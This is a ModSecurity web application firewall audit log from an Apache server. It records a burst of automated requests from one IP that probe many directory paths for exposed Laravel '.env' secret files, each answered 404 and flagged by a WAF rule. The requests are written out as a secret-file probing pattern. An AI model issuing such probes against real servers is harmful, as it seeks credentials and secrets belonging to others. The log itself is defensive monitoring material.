X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--bbc6ce79-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bbc6ce79-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/release/.env"] [unique_id "aqYLmWM7dE9KgIIOpQhdlwAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266841460189 192911 (- - -)
Stopwatch2: 1789266841460189 192911; combined=6308, p1=387, p2=5852, p3=0, p4=0, p5=68, sr=121, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bbc6ce79-Z--

--c4681f0d-A--
[13/Sep/2026:05:34:02.981293 +0300] aqYLmmM7dE9KgIIOpQhdmAAAAMA 34.175.231.24 35306 127.0.0.1 7081
--c4681f0d-B--
GET /releases/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--c4681f0d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c4681f0d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/releases/.env"] [unique_id "aqYLmmM7dE9KgIIOpQhdmAAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266842801514 179835 (- - -)
Stopwatch2: 1789266842801514 179835; combined=5131, p1=337, p2=4737, p3=0, p4=0, p5=57, sr=167, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c4681f0d-Z--

--dccd5a2b-A--
[13/Sep/2026:05:34:04.407325 +0300] aqYLnDTJ6xTvcJoem7f1eAAAAFg 34.175.231.24 35314 127.0.0.1 7081
--dccd5a2b-B--
GET /shared/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--dccd5a2b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--dccd5a2b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/shared/.env"] [unique_id "aqYLnDTJ6xTvcJoem7f1eAAAAFg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266844278464 128928 (- - -)
Stopwatch2: 1789266844278464 128928; combined=5298, p1=344, p2=4896, p3=0, p4=0, p5=58, sr=163, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dccd5a2b-Z--

--8ca25d7f-A--
[13/Sep/2026:05:34:05.592186 +0300] aqYLnWM7dE9KgIIOpQhdmQAAAMg 34.175.231.24 35316 127.0.0.1 7081
--8ca25d7f-B--
GET /deploy/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--8ca25d7f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8ca25d7f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/deploy/.env"] [unique_id "aqYLnWM7dE9KgIIOpQhdmQAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266845470402 121848 (- - -)
Stopwatch2: 1789266845470402 121848; combined=4179, p1=257, p2=3845, p3=0, p4=0, p5=77, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8ca25d7f-Z--

--35fddf38-A--
[13/Sep/2026:05:34:07.158088 +0300] aqYLn2M7dE9KgIIOpQhdmwAAANQ 34.175.231.24 41652 127.0.0.1 7081
--35fddf38-B--
GET /build/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--35fddf38-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--35fddf38-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/build/.env"] [unique_id "aqYLn2M7dE9KgIIOpQhdmwAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266847022711 135431 (- - -)
Stopwatch2: 1789266847022711 135431; combined=4477, p1=245, p2=4179, p3=0, p4=0, p5=53, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--35fddf38-Z--

--dccd5a2b-A--
[13/Sep/2026:05:34:08.789166 +0300] aqYLoEwu1RSkptiiNIXtlwAAAJQ 34.175.231.24 41660 127.0.0.1 7081
--dccd5a2b-B--
GET /dist/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--dccd5a2b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--dccd5a2b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/dist/.env"] [unique_id "aqYLoEwu1RSkptiiNIXtlwAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266848671210 118024 (- - -)
Stopwatch2: 1789266848671210 118024; combined=18497, p1=257, p2=3904, p3=0, p4=0, p5=7194, sr=109, sw=1, l=0, gc=7141
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dccd5a2b-Z--

--572d6410-A--
[13/Sep/2026:05:34:10.113164 +0300] aqYLomM7dE9KgIIOpQhdnQAAAMM 34.175.231.24 41690 127.0.0.1 7081
--572d6410-B--
GET /public_html/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--572d6410-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--572d6410-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/public_html/.env"] [unique_id "aqYLomM7dE9KgIIOpQhdnQAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266850001118 112101 (- - -)
Stopwatch2: 1789266850001118 112101; combined=4429, p1=216, p2=4156, p3=0, p4=0, p5=57, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--572d6410-Z--

--bfdf1b42-A--
[13/Sep/2026:05:34:11.637571 +0300] aqYLo0wu1RSkptiiNIXtmAAAAIA 34.175.231.24 41708 127.0.0.1 7081
--bfdf1b42-B--
GET /htdocs/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--bfdf1b42-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bfdf1b42-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/htdocs/.env"] [unique_id "aqYLo0wu1RSkptiiNIXtmAAAAIA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266851484443 153236 (- - -)
Stopwatch2: 1789266851484443 153236; combined=7219, p1=449, p2=6718, p3=0, p4=0, p5=52, sr=170, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bfdf1b42-Z--

--388d625a-A--
[13/Sep/2026:05:34:12.761875 +0300] aqYLpGM7dE9KgIIOpQhdnwAAANU 34.175.231.24 41722 127.0.0.1 7081
--388d625a-B--
GET /www/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--388d625a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--388d625a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/www/.env"] [unique_id "aqYLpGM7dE9KgIIOpQhdnwAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266852628317 133613 (- - -)
Stopwatch2: 1789266852628317 133613; combined=8145, p1=4091, p2=3998, p3=0, p4=0, p5=56, sr=1444, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--388d625a-Z--

--ad4d5361-A--
[13/Sep/2026:05:34:13.722004 +0300] aqYLpWM7dE9KgIIOpQhdoAAAAMI 34.175.231.24 41738 127.0.0.1 7081
--ad4d5361-B--
GET /html/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--ad4d5361-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ad4d5361-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/html/.env"] [unique_id "aqYLpWM7dE9KgIIOpQhdoAAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266853606516 115544 (- - -)
Stopwatch2: 1789266853606516 115544; combined=4294, p1=317, p2=3916, p3=0, p4=0, p5=61, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ad4d5361-Z--

--bfdf1b42-A--
[13/Sep/2026:05:34:15.150094 +0300] aqYLpzTJ6xTvcJoem7f1eQAAAEM 34.175.231.24 41752 127.0.0.1 7081
--bfdf1b42-B--
GET /live/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--bfdf1b42-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bfdf1b42-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/live/.env"] [unique_id "aqYLpzTJ6xTvcJoem7f1eQAAAEM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266855019304 130870 (- - -)
Stopwatch2: 1789266855019304 130870; combined=6075, p1=483, p2=5512, p3=0, p4=0, p5=79, sr=189, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bfdf1b42-Z--

--da517126-A--
[13/Sep/2026:05:34:16.602525 +0300] aqYLqDTJ6xTvcJoem7f1egAAAFQ 34.175.231.24 45114 127.0.0.1 7081
--da517126-B--
GET /prod/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--da517126-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--da517126-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/prod/.env"] [unique_id "aqYLqDTJ6xTvcJoem7f1egAAAFQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266856480231 122361 (- - -)
Stopwatch2: 1789266856480231 122361; combined=4477, p1=267, p2=4133, p3=0, p4=0, p5=77, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--da517126-Z--

--a2ada64b-A--
[13/Sep/2026:05:34:18.067172 +0300] aqYLqTTJ6xTvcJoem7f1ewAAAE8 34.175.231.24 45120 127.0.0.1 7081
--a2ada64b-B--
GET /dev/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a2ada64b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a2ada64b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/dev/.env"] [unique_id "aqYLqTTJ6xTvcJoem7f1ewAAAE8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266857927392 139834 (- - -)
Stopwatch2: 1789266857927392 139834; combined=4480, p1=361, p2=4064, p3=0, p4=0, p5=55, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a2ada64b-Z--

--bf2d3623-A--
[13/Sep/2026:05:34:19.387119 +0300] aqYLq2M7dE9KgIIOpQhdoQAAAM4 34.175.231.24 45124 127.0.0.1 7081
--bf2d3623-B--
GET /staging/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--bf2d3623-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bf2d3623-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
